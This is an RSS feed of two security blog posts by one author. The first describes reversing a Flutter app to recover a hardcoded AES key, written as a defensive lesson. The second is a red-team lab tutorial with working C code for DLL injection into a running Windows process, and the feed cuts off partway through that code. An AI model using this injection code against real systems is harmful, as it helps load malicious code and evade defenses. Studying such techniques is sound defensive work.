<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hussain K. on Medium]]></title>
        <description><![CDATA[Stories by Hussain K. on Medium]]></description>
        <link>https://medium.com/@ainkun?source=rss-292ac73492------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*5w2iX40hQEaEFFuHUmrVEQ.png</url>
            <title>Stories by Hussain K. on Medium</title>
            <link>https://medium.com/@ainkun?source=rss-292ac73492------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 00:16:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ainkun/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Reversing a Flutter Application on Dart 3.13: From AOT Snapshots to Encryption Key Recovery]]></title>
            <link>https://ainkun.medium.com/reversing-a-flutter-application-on-dart-3-13-from-aot-snapshots-to-encryption-key-recovery-dc3244b27b01?source=rss-292ac73492------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc3244b27b01</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[flutter]]></category>
            <category><![CDATA[dart]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Hussain K.]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 09:57:40 GMT</pubDate>
            <atom:updated>2026-10-23T21:18:35.880Z</atom:updated>
            <content:encoded><![CDATA[<h4>How I traced a Dart AOT snapshot in IDA and pulled a hardcoded AES key out of libapp.so — the automated way, then by hand.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/0*4SQtUivIGD5B-XwP" /></figure><p>Flutter applications can be challenging to reverse engineer. The apps are compiled using the Dart SDK and run with Dart runtime support. The compiled application code and Flutter engine are commonly found in libapp.so and libflutter.so, respectively. libapp.so contains the native application code, while libflutter.so contains the Flutter engine and runtime components that support its execution.</p><p>Unlike native apps built with Java and Kotlin, which can often be decompiled into readable Java-like code, making it easier to trace the code and its logic, Flutter apps are more challenging to reverse engineer. The application logic, strings, functions, and other components must be analyzed through compiled machine code and Dart runtime structures.</p><p>During an engagement, I analyzed a Flutter application built with Dart 3.13. My initial objective was to analyze the network traffic and understand how the app handles it. I used the good old <a href="https://github.com/Impact-I/reFlutter">reFlutter</a> and <a href="https://github.com/raise-isayan/TunProxy">TunProxy</a> to set up traffic analysis.</p><p>During the analysis, I noticed that the POST request contained encrypted data alongside the initialization vector (IV). This was the main objective and motivation to dive deeper into static analysis and identify the encryption scheme used by the app.</p><p>My workflow approach involves tools like IDA, <a href="https://github.com/worawit/blutter">Blutter</a>(failed), <a href="https://github.com/BroNils/aotopsy">AOTopsy</a>, python scripting and Codex AI assisted analysis.</p><p>This post documents my approach, the steps I took, the issues I faced during the analysis, and how the same analysis can be performed manually without AI for a deeper understanding, for anyone who enjoys breaking things apart.</p><h3>1. Understanding the Target</h3><p>As mentioned, while dynamically testing the application, I noticed that the POST requests did not contain the expected application data. Instead, the requests contained an encrypted blob and the IV, as shown below:</p><pre>{<br>  &quot;body&quot;: &quot;VHeo.................................................................96B0CJisBhO69pz&quot;,<br>  &quot;iv&quot;: &quot;F27pf..........IZjQ==&quot;<br>}</pre><p>The presence of the IV suggested that the application was using an encryption scheme internally.</p><p>My best guess was AES-CBC, as I had collected string blobs that matched my hypothesis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h0kLhiEx3e0CnfuoMtcuPQ.png" /></figure><p>The first goal was to identify the encryption scheme by collecting enough information from the compiled Dart code to trace the logic.</p><h3>2. Inspecting with Blutter</h3><p>I found this well known tool called <a href="https://github.com/worawit/blutter">Blutter</a> while researching. There is a cool <a href="https://www.youtube.com/watch?v=EU3KOzNkCdI">talk</a> by its developer on how and why this tool was developed.</p><p>I tried analyzing the app’s libapp.so (Android arm64, Dart 3.13.3) with Blutter. The tool failed with many compile-time errors, and after I merged upstream PRs that claim Dart 3.11+ support, it still failed with errors during function analysis. The app likely uses a newer Dart snapshot layout than Blutter currently supports, so I couldn&#39;t get the output.</p><p>Rather than grinding for more hours and forcing it to work somehow, I changed direction, looked for alternatives, and found this tool called <a href="https://github.com/BroNils/aotopsy">AOTopsy</a>.</p><h3>3. Using AOTopsy to Dissect the Snapshots</h3><p>The key difference between AOTopsy and Blutter is that Blutter compiles a matching Dart SDK version and uses the embedded Dart VM to deserialize the snapshot and recover information from it. Unlike Blutter, AOTopsy parses the binary directly and uses explicitly modeled Dart VM structures to interpret the data.</p><p>I directly downloaded and used its release to run on the libapp.so file. I followed the <a href="https://github.com/BroNils/aotopsy/blob/main/DEMO.md">DEMO</a> and <a href="https://github.com/BroNils/aotopsy/blob/main/WORKFLOW.md">WORKFLOW</a> commands and the below results were:</p><ul><li>Function-related information that helped identify code regions.</li><li>Strings and object-pool data recovered from the snapshots.</li><li>IDA and Ghidra script that imported function names and added relevant string values as comments at their associated locations.</li></ul><p>This did not magically recover anything, but it made navigation and finding patterns much easier.</p><p>I then used AOTopsy’s decompiler feature to import names and add comments containing strings to the function disassembly wherever they were referenced from the DATA section. This automated the entire process.</p><h3>4. Building a Function-to-String Index</h3><p>Now I needed to find a starting point from which I could begin analyzing the code and understanding the logic flow.</p><p>The tool had already produced multiple interesting files to look at, such as strings, function calls, and xrefs for each reference.</p><pre>.<br>.<br>.<br>{&quot;string_value&quot;:&quot;ADd&quot;,&quot;functions&quot;:[&quot;stub_113a44&quot;,&quot;stub_14b3a4&quot;,&quot;stub_2c0adc&quot;,&quot;stub_3de098&quot;,&quot;stub_3de2ec&quot;,&quot;stub_3dea60&quot;,&quot;stub_3deb88&quot;,&quot;stub_3df8e0&quot;,&quot;stub_4345f8&quot;,&quot;stub_434714&quot;,&quot;stub_434cb0&quot;,&quot;stub_434f0c&quot;,&quot;stub_5a7e70&quot;,&quot;stub_69bd78&quot;,&quot;stub_69c2b4&quot;,&quot;stub_69c558&quot;,&quot;stub_69cdb4&quot;,&quot;stub_69d0cc&quot;,&quot;stub_69d200&quot;,&quot;stub_69d298&quot;,&quot;stub_69e060&quot;,&quot;stub_69f05c&quot;,&quot;stub_6cb868&quot;,&quot;stub_6cba34&quot;,&quot;stub_6cbd5c&quot;,&quot;stub_6cc310&quot;,&quot;stub_c312c&quot;]}<br>{&quot;string_value&quot;:&quot;AES&quot;,&quot;functions&quot;:[&quot;stub_a62f4&quot;]}<br>{&quot;string_value&quot;:&quot;AES/&quot;,&quot;functions&quot;:[&quot;stub_7f904&quot;]}<br>{&quot;string_value&quot;:&quot;AESMode.&quot;,&quot;functions&quot;:[&quot;stub_59c390&quot;]}<br>{&quot;string_value&quot;:&quot;AES_CBC_PKCS7Padding&quot;,&quot;functions&quot;:[&quot;stub_a9284&quot;]}<br>{&quot;string_value&quot;:&quot;AFN&quot;,&quot;functions&quot;:[&quot;stub_469e24&quot;]}<br>.<br>.<br>.</pre><p>I still needed a systematic way to identify which function to look at first, so I wrote a small script that lists the function names and, under each function, the strings referenced by it. The result gave me a compact view and a better way to understand the relationship between code and data.</p><p>This was the output structure:</p><pre>.<br>.<br>.<br>{<br>  &quot;function_name&quot;: &quot;sub_754af4&quot;,<br>  &quot;strings&quot;: [<br>    &quot;body&quot;,<br>    &quot;customer/edit-profile-new&quot;,<br>    &quot;Error while encrypting data: &quot;,<br>    &quot;iv&quot;<br>  ]<br>},<br>{<br>  &quot;function_name&quot;: &quot;sub_755aa4&quot;,<br>  &quot;strings&quot;: [<br>    &quot;Authorization&quot;,<br>    &quot;Bearer &quot;,<br>    &quot;token : &quot;<br>  ]<br>},<br>{<br>  &quot;function_name&quot;: &quot;stub_413d80&quot;,<br>  &quot;strings&quot;: [<br>    &quot;iv&quot;,<br>    &quot;statusCode&quot;,<br>    &quot;success&quot;,<br>    &quot;successResponse&quot;<br>  ]<br>},<br>.<br>.<br>.</pre><p>The referenced strings helped me identify potentially interesting functions and decide where to start analyzing.</p><p>I found the sub_754af4 function interesting, as it appears to call an endpoint and send a POST request containing iv and body, which, as discussed earlier, are the components of the suspected AES-encrypted payload.</p><h3>5. Codex for AI-Assisted Analysis</h3><p>So, once I had selected the function to start my analysis, I used Codex to assist with the analysis by connecting it to IDA MCP.</p><p>Instead of asking AI to reverse engineer the entire application, I gave it a more structured problem: examine the code path of the encryption-related functionality, starting with the entry function.</p><p>Codex managed to plan its workflow and keep track of questions to answer in order to reach the goal. Some of these questions were:</p><ul><li>Which functions appeared to construct the request payload?</li><li>Which functions appeared to perform encryption?</li><li>How did the relevant functions call one another?</li><li>Was the key passed into a cryptographic routine, derived from other values, or retrieved from a constant?</li></ul><p>The function-to-string index made this task more manageable, as the AI didn’t have to recreate the structure from scratch.</p><p>It then pulled out the hardcoded key used to encrypt the data in the POST request. I verified it by decrypting the data, and it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yu4G3Tv_G-9ZBGKYAMoc1w.png" /></figure><h3><strong>END OF THE BLOG</strong></h3><p><em>Just kidding…</em></p><p>I won’t just let AI get away with solving the problem without explaining its approach and helping me understand how to do it manually.</p><p>So, below is the section where I’ll try to find the key manually.(also with the help of AI…)</p><h3>6. Finding the Encryption Key Manually</h3><p>AOTopsy names this function sub_754af4 by its offset within the _kDartSnapshotText section, while IDA calls it sub_A64AF4 using its real virtual address. The two differ by the section&#39;s base address, 0x310000 (0x754af4 + 0x310000 = 0xA64AF4).</p><p>Let’s load the function in IDA and start analyzing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BZdWCyi2jJJ4kZ5qUvvtUA.png" /></figure><p>The Dart VM keeps strings in an Object Pool (PP), a big table the runtime points at through a dedicated register(X27). Code loads a constant by index into that table, e.g. PP[6675]. This is why a normal “xref to string” sometimes dead-ends — you have to follow the pool load.</p><h4>Registers used in Dart AOT</h4><p>In Dart AOT on ARM64, the Dart SDK uses special registers for its own specific functions.</p><p>Below is the code snippet from the <a href="https://github.com/dart-lang/sdk/blob/main/runtime/vm/constants_arm64.h#L141">dart sdk runtime</a>.</p><pre>// Register aliases.<br>const Register TMP = R16;  // Used as scratch register by assembler.<br>const Register TMP2 = R17;<br>const Register PP = R27;  // Caches object pool pointer in generated code.<br>const Register DISPATCH_TABLE_REG = R21;  // Dispatch table register.<br>const Register CODE_REG = R24;<br>// Set when calling Dart functions in JIT mode, used by LazyCompileStub.<br>const Register FUNCTION_REG = R0;<br>const Register FPREG = FP;          // Frame pointer register.<br>const Register SPREG = R15;         // Stack pointer register.<br>const Register IC_DATA_REG = R5;    // ICData/MegamorphicCache register.<br>const Register ARGS_DESC_REG = R4;  // Arguments descriptor register.<br>const Register THR = R26;           // Caches current thread in generated code.<br>const Register CALLEE_SAVED_TEMP = R19;<br>const Register CALLEE_SAVED_TEMP2 = R20;<br>const Register HEAP_BITS = R28;  // write_barrier_mask &lt;&lt; 32 | heap_base &gt;&gt; 32<br>const Register NULL_REG = R22;   // Caches NullObject() value.<br>#define DART_ASSEMBLER_HAS_NULL_REG 1</pre><p>Here is the minified table for important and mostly used registers for later use:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*82phlguNNd9dt7e2Ve1SXA.png" /></figure><h4>Skipping the boilerplate and renaming</h4><p>The blob below is the boiler plate every dart AOT function has:</p><pre>sub_A64AF4:<br>  STP  X29, X30, [X15,#-0x10]!   ; push frame (X15 = Dart stack pointer)<br>  MOV  X29, X15                  ; set up frame pointer<br>  SUB  X15, X15, #0xD8           ; reserve 0xD8 bytes of locals<br>  ...<br>  LDR  X16, [X26,#0x48]          ; THR.stack_limit  (X26 = Thread)<br>  CMP  X15, X16<br>  B.LS loc_A64DE4                ; stack-overflow check -&gt; call runtime, then re-enter</pre><p>As we look at the function’s assembly and code, we recognise that this function has to do something with creating an encrypted request with iv and body. So we rename it to build_encrypted_request.</p><h4>Identifying the class names and constructors</h4><p>As we go through the Dart VM compiled code, I identify three similar-looking function names: “new_Qaa”, “new_Paa” and “new_Maa”, and subsequently another function call after each.</p><pre>*(v11 - 21) = new_Qaa_755a28();<br>stub_a8ea4();<br>*(v11 - 22) = new_Paa_755a1c();<br>v14 = (struct Dart__Fw_18353248 *)stub_a8acc();<br>*(v11 - 23) = Fw(v14, v15);<br>*(v11 - 24) = new_Maa_755978();<br>stub_7f904();</pre><p>These are class names and the new_ prefix means constructor/allocator for that class.</p><p>The names like Qaa and Paa are just stripped down obfuscated names of the class.</p><p>Also, all three class disassemblies point towards the same blob of code, which tells us that these three perform the same action (allocating space, perhaps).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*4yAYFgkLwmei_mIW62KnYw.png" /></figure><p>Three objects are built and configured, then used to encrypt something, producing {body, iv}. One of these three is probably the key, one the IV, one the cipher. Let’s find out which by opening each configurator.</p><h3>Analyzing the first object “new_Qaa” and &quot;stub_a8ea4“ — finding the key</h3><p>new_Qaa is the class constructor, which allocates some space, and the function called later, stub_a8ea4, populates something in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eXCuF1EoA6jPlL_u1keE2A.png" /></figure><p>Decompiling the later function gave it away: a 32-byte string is present, which points to it being the AES key.</p><p>As our goal of finding the key is reached, we can still look at the other objects and their populating functions to understand what they are doing.</p><p>Let’s rename them to KEY_ALLOCATING_CLASS and populate_key().</p><h4>Analyzing the second object new_Paa and stub_a8acc — IV wrapper</h4><p>Like new_Qaa, new_Paa also allocates and then calls a function to populate it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tCuBnTs8WKdFWm08yM9R7w.png" /></figure><p>Decompiling and disassembling the stub_a8acc function shows another class and the function populating it, named new_Saa_755a10 and stub_a8b3c respectively.</p><p>Decompiling the function stub_a8b3c, which was populating new_Saa, shows what looks like an iteration loop.</p><p>v14 starts at 0, and after some complicated check against it in the loop, it breaks out.</p><p>It provides the hint that it’s generating some IV value (the AI support I had with it confirms this).</p><p>So we can rename new_Saa as IV_GENERATOR and new_Paa as its IV_Wrapper.</p><h4>Analyzing the third object new_Maa and stub_7f904 — AES object</h4><pre>BL   new_Maa_755978     ; make a Maa<br>MOV  X1, X0             ; receiver<br>LDUR X2, [X29,#-0xA8]   ; X2 = the KEY object (Qaa) <br>BL   stub_7f904         ; configure the Maa, with the key  &lt;-- open this</pre><p>When new_Maa is called, the key which we found is passed to its populating function.</p><pre>MOV  X0, X1                    ; X0 = key holder<br>STUR W4, [X5,#0xB]            ; Maa.field@+0x0B = PP[5722] &lt;Instance_8455&gt;  (the MODE enum)<br>STUR W3, [X5,#0xF]            ; Maa.field@+0x0F = PP[5723] &quot;PKCS7&quot;          (the PADDING)</pre><p>It stores key, padding and other items to use it for encryption.</p><pre>BL   stub_7fa80              ; build the engine for &quot;AES/&lt;mode&gt;/PKCS7&quot;  &lt;-- delegate #2<br>LDUR X1, [X29,#-8]            ; the Maa<br>LDUR W2, [X1,#0x13]           ; is Maa.field@+0x13 still the sentinel?<br>CMP  W2, &lt;sentinel&gt;<br>B.NE loc_38FA64              ; if already set -&gt; LateInitializationError (&quot;_RGh&quot;)<br>STUR W0, [X1,#0x13]           ; else Maa.engine = the constructed engine</pre><p>It constructs the actual cipher engine from that string and uses it to encrypt the information.</p><p>It’s heavily obfuscated, so I had to use a lot of AI to help me understand what each function was doing.</p><h3>7. Conclusion</h3><p>Tracing the three objects from build_encrypted_request gives us the whole scheme:</p><ul><li><strong>Qaa</strong> holds a hardcoded 32-byte string that is used directly as the key — a 256-bit AES key.</li><li><strong>Paa</strong> (backed by the Saa generator) produces the 16-byte IV that ships alongside the ciphertext.</li><li><strong>Maa</strong> ties them together, building an AES/&lt;mode&gt;/PKCS7 cipher and encrypting the payload into the body/iv blob we first saw on the wire.</li></ul><p>In other words, the POST body is <strong>AES-256 in CBC mode with PKCS7 padding</strong>, and the key is baked into the app itself.</p><p>That last part is the real takeaway. A symmetric key shipped inside the client is not a secret — anyone with the APK can pull it out exactly like we just did, and then decrypt or forge traffic at will. Client-side encryption like this raises the bar against a casual sniffer, but it does not protect the data from an attacker who has the app. Real confidentiality has to come from transport security and keys that never leave the server.</p><p>Thanks for reading, and happy reversing.</p><h3>REFERENCES</h3><ul><li><a href="https://github.com/dart-lang/sdk/blob/main/runtime/vm/constants_arm64.h#L141">sdk/runtime/vm/constants_arm64.h at main · dart-lang/sdk</a></li><li><a href="https://reverseengineering.wiki/index.php/Format:Dart_AOT_snapshot">Format:Dart AOT snapshot</a></li><li><a href="https://www.iqcrafter.com/blog/flutter-app-reverse-engineering-security-research">Reverse Engineering a Flutter Mobile App: A Complete Security Research Methodology | IQCrafter Insights</a></li><li><a href="https://github.com/mrexodia/ida-pro-mcp">GitHub - mrexodia/ida-pro-mcp: AI-powered reverse engineering assistant that bridges IDA Pro with language models through MCP.</a></li><li><a href="https://github.com/BroNils/aotopsy">GitHub - BroNils/aotopsy: Static analyzer for Flutter/Dart AOT snapshots - recovers function names, class hierarchies, call graphs, and behavioral signals from libapp.so without embedding or executing the Dart VM. Supports ARM64 and x86_64, Dart 2.10-3.12.</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc3244b27b01" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DLL Injection]]></title>
            <link>https://ainkun.medium.com/dll-injection-60cc0d86a7bf?source=rss-292ac73492------2</link>
            <guid isPermaLink="false">https://medium.com/p/60cc0d86a7bf</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dll-injection]]></category>
            <category><![CDATA[defense-evasion]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Hussain K.]]></dc:creator>
            <pubDate>Wed, 06 Sep 2023 00:10:29 GMT</pubDate>
            <atom:updated>2023-09-06T00:10:29.369Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SWQZ-rB8Cqzx6ienXu-XGw.jpeg" /></figure><h3><strong>Overview</strong></h3><p>In this task, we will attempt to perform DLL(Dynamic-link Library) Injection into a separate process. It falls under the category of “Process injection”, which is a method used to evade defenses. This technique is part of the “Defense Evasion” tactic.</p><p><strong>Technique: Process Injection — T1055</strong></p><p>Process Injection is a technique employed by malicious actors to bypass detection and gain higher privileges. This method entails injecting malicious arbitrary code into an isolated process that operates within a Windows environment and subsequently executing it. For more detailed information, refer to the link provided below:</p><p><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></p><p><strong>Sub-Technique: Dynamic-link Library Injection — T1055.001</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*EFr8CJwLDj4fDThBuajEQQ.png" /></figure><p>DLL injection is performed by writing the path to a DLL into the virtual address space of the target process before invoking the thread that calls the LoadLibrary API, which then loads the specified DLL. For more detailed information, refer to the link provided below:</p><p><a href="https://attack.mitre.org/techniques/T1055/001/">Process Injection: Dynamic-link Library Injection</a></p><p>The general steps for this technique to work are as follows:</p><ol><li>Obtain the handle of the already running process.</li><li>Allocate a buffer in the memory of the process.</li><li>Write the path of the malicious DLL into the buffer.</li><li>Get handle of Kernel32.dll.</li><li>Get the address of the LoadLibrary function.</li><li>Invoke a thread to execute the LoadLibrary function with the DLL path as its parameter.</li></ol><h3>Setup:</h3><ol><li><strong>Linux environment(Attacker)</strong></li></ol><ul><li>Metasploit or Netcat</li></ul><p>2. <strong>Windows environment(Target)</strong></p><ul><li>Disabled windows defender</li><li>MinGW-w64 compiler</li><li>Microsoft SysInternals Suite</li><li>Process Hacker</li></ul><p>Link to download the Process Hacker:</p><p><a href="https://processhacker.sourceforge.io/downloads.php">Downloads - Process Hacker</a></p><p>Link to download the SysInternals Suite:</p><p><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/?source=post_page-----73f06ce102ce--------------------------------">Sysinternals Utilities - Sysinternals</a></p><p>Link to download the MinGW Compilers:</p><p><a href="https://winlibs.com/#download-release">WinLibs - GCC+MinGW-w64 compiler for Windows</a></p><p>Follow the below tutorial to install and setup the mingw compilers on your windows machine:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FghikMomksCc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DghikMomksCc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FghikMomksCc%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/9b6dd76b54dfb5f4a2e52ce0b83b1580/href">https://medium.com/media/9b6dd76b54dfb5f4a2e52ce0b83b1580/href</a></iframe><h3>Prerequisites:</h3><p>Go through my last post on “Shellcode Injection” and “DLL Hijacking”.</p><ul><li><a href="https://ain-kun.medium.com/dll-hijacking-onedrive-73f06ce102ce">DLL Hijacking — OneDrive</a></li><li><a href="https://ain-kun.medium.com/shellcode-injection-ae82737d8f65">Shellcode Injection</a></li></ul><h3><strong>Writing the Program</strong></h3><p>A lot of code is very similar to what we had in the <a href="https://vtfoundation.gitbook.io/red-team/mitre-attacks/ta0005-defense-evasion/shellcode-injection-in-a-process">shellcode injection</a> blog, with a few changes we will discuss when we get there.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br><br>#define i(msg, ...) printf(&quot;[*] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define e(msg, ...) printf(&quot;[-] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define s(msg, ...) printf(&quot;[+] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define w(msg, ...) printf(&quot;[!] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br><br><br>int main(int argc, char* argv[]){<br><br>    /*Declaring and initializing variables*/<br>    HANDLE hProcess, hThread = NULL;<br>    DWORD PID, TID;<br>    LPVOID AllocBuffer;<br><br> if (argc &lt; 2){<br>  e(&quot;Usage: %s &lt;PID&gt;&quot;, argv[0]);<br>  return 1;<br> }<br>    <br> PID = atoi(argv[1]); //Converting the argument to int<br> i(&quot;Inserted PID: %d\n&quot;, PID);<br><br>    <br>    //initializing dll<br>    char dllPath[] = &quot;C:\\Users\\target\\Desktop\\maldev\\dll-inject\\dll.dll&quot;;<br>    size_t sizedll = sizeof(dllPath);<br><br>    i(&quot;DLL: %s&quot;,dllPath);<br>    i(&quot;size of dllpath: %d\n&quot;, sizedll);<br><br>    /*Getting the handle of a process specified by its PID*/<br>    i(&quot;Trying to get the handle of the Procees: &quot;, PID);<br>    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);<br>    if (hProcess == NULL){<br>        e(&quot;Not Able to get the handle of process %d, error: 0x%lx&quot;, PID, GetLastError());<br>        return 1;<br>    }<br>    s(&quot;Got the Handle of the process: %d&quot;, PID);<br>    i(&quot;Processes Handle: 0x%p\n&quot;, hProcess);<br><br><br>    /*Allocating the buffer within the virtual addrress space of the process*/<br>    i(&quot;Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p&quot;,hProcess);<br>    AllocBuffer = VirtualAllocEx(hProcess, NULL, sizedll, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);<br>    if (AllocBuffer == NULL){<br>        e(&quot;Failed to Allocate Buffer, error: &quot;,GetLastError);<br>        return 1;<br>    }<br>    s(&quot;Succesfully Aloocated the buffer into the Virtual space of the process&quot;);<br>    i(&quot;Address: %p\n&quot;, AllocBuffer);<br><br>    return 0;<br><br>}</pre><p>Instead of using shellcode, I have initialized the path of the DLL to be loaded into the target process. The second difference is that when allocating the buffer, we use the size of the full path to allocate the space in memory. Instead of setting all three permissions (READ, WRITE, and EXECUTE), we will set the permissions to only READ and WRITE. We only need the location of the DLL and do not need to execute it in memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NTpyuM0OkatpX_k6-VYmfA.png" /></figure><p>After allocating buffer, we will write the path of dll in this region using WriteProcessMemory. We used this in our last post as well while writing the shellcode.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br><br>#define i(msg, ...) printf(&quot;[*] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define e(msg, ...) printf(&quot;[-] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define s(msg, ...) printf(&quot;[+] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define w(msg, ...) printf(&quot;[!] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br><br><br>int main(int argc, char* argv[]){<br><br>    /*Declaring and initializing variables*/<br>    HANDLE hProcess, hThread = NULL;<br>    DWORD PID, TID;<br>    LPVOID AllocBuffer;<br><br> if (argc &lt; 2){<br>  e(&quot;Usage: %s &lt;PID&gt;&quot;, argv[0]);<br>  return 1;<br> }<br>    <br> PID = atoi(argv[1]); //Converting the argument to int<br> i(&quot;Inserted PID: %d\n&quot;, PID);<br><br>    <br>    //initializing dll<br>    char dllPath[] = &quot;C:\\Users\\target\\Desktop\\maldev\\dll-inject\\dll.dll&quot;;<br>    size_t sizedll = sizeof(dllPath);<br><br>    i(&quot;DLL: %s&quot;,dllPath);<br>    i(&quot;size of dllpath: %d\n&quot;, sizedll);<br><br>    /*Getting the handle of a process specified by its PID*/<br>    i(&quot;Trying to get the handle of the Procees: &quot;, PID);<br>    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);<br>    if (hProcess == NULL){<br>        e(&quot;Not Able to get the handle of process %d, error: 0x%lx&quot;, PID, GetLastError());<br>        return 1;<br>    }<br>    s(&quot;Got the Handle of the process: %d&quot;, PID);<br>    i(&quot;Processes Handle: 0x%p\n&quot;, hProcess);<br><br><br>    /*Allocating the buffer within the virtual addrress space of the process*/<br>    i(&quot;Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p&quot;,hProcess);<br>    AllocBuffer = VirtualAllocEx(hProcess, NULL, sizedll, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);<br>    if (AllocBuffer == NULL){<br>        e(&quot;Failed to Allocate Buffer, error: &quot;,GetLastError);<br>        return 1;<br>    }<br>    s(&quot;Succesfully Aloocated the buffer into the Virtual space of the process&quot;);<br>    i(&quot;Address: %p\n&quot;, AllocBuffer);<br><br><br>    /*Write the dllPath into the buffer*/<br>    i(&quot;Trying to write the dllpath to buffer&quot;);<br>    if (WriteProcessMemory(hProcess, AllocBuffer, dllPath, sizedll, NULL) == 0){<br>        e(&quot;Unable to write the dllPath, error: &quot;,GetLastError);<br>        return 1;<br>    }<br>    s(&quot;Wrote dllPath to the buffer!\n&quot;);<br>    <br>    return 0;<br><br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jz3etliNSE5wFYTp4mc-Pw.png" /></figure><p>Now, to load this DLL whose path we have already specified, we can use the function LoadLibraryA. However, since directly using this function in the program will load the DLL into our process, we first need to load its memory location and invoke it directly as a thread into the target process. For that, we will first have to get the handle of the Kernel32.dll module via GetModuleHandleA and search for the location of the function inside it.</p><pre>HMODULE GetModuleHandleA(<br>  [in, optional] LPCSTR lpModuleName<br>);</pre><p>The function only needs the name of the module to be passed as a parameter. We can simply pass in Kernel32.dll here.</p><p>Read more about the above function from the link below:</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea">GetModuleHandleA function (libloaderapi.h) - Win32 apps</a></p><p>After obtaining the handle, we will use the GetProcAddress function to find the address of the LoadLibraryA function, allowing us to load the DLL path we specified above.</p><pre>FARPROC GetProcAddress(<br>  [in] HMODULE hModule,<br>  [in] LPCSTR  lpProcName<br>);</pre><p>In the first parameter, we will pass the handle of the Kernel32.dll module we retrieved above, and in the second parameter, we can simply write LoadLibraryA to obtain the address of this particular function.</p><p>Read more about the functions from the link below:</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress">GetProcAddress function (libloaderapi.h) - Win32 apps</a></p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br><br>#define i(msg, ...) printf(&quot;[*] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define e(msg, ...) printf(&quot;[-] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define s(msg, ...) printf(&quot;[+] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define w(msg, ...) printf(&quot;[!] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br><br><br>int main(int argc, char* argv[]){<br><br>    /*Declaring and initializing variables*/<br>    HANDLE hProcess, hThread = NULL;<br>    DWORD PID, TID;<br>    LPVOID AllocBuffer;<br><br> if (argc &lt; 2){<br>  e(&quot;Usage: %s &lt;PID&gt;&quot;, argv[0]);<br>  return 1;<br> }<br>    <br> PID = atoi(argv[1]); //Converting the argument to int<br> i(&quot;Inserted PID: %d\n&quot;, PID);<br><br>    <br>    //initializing dll<br>    char dllPath[] = 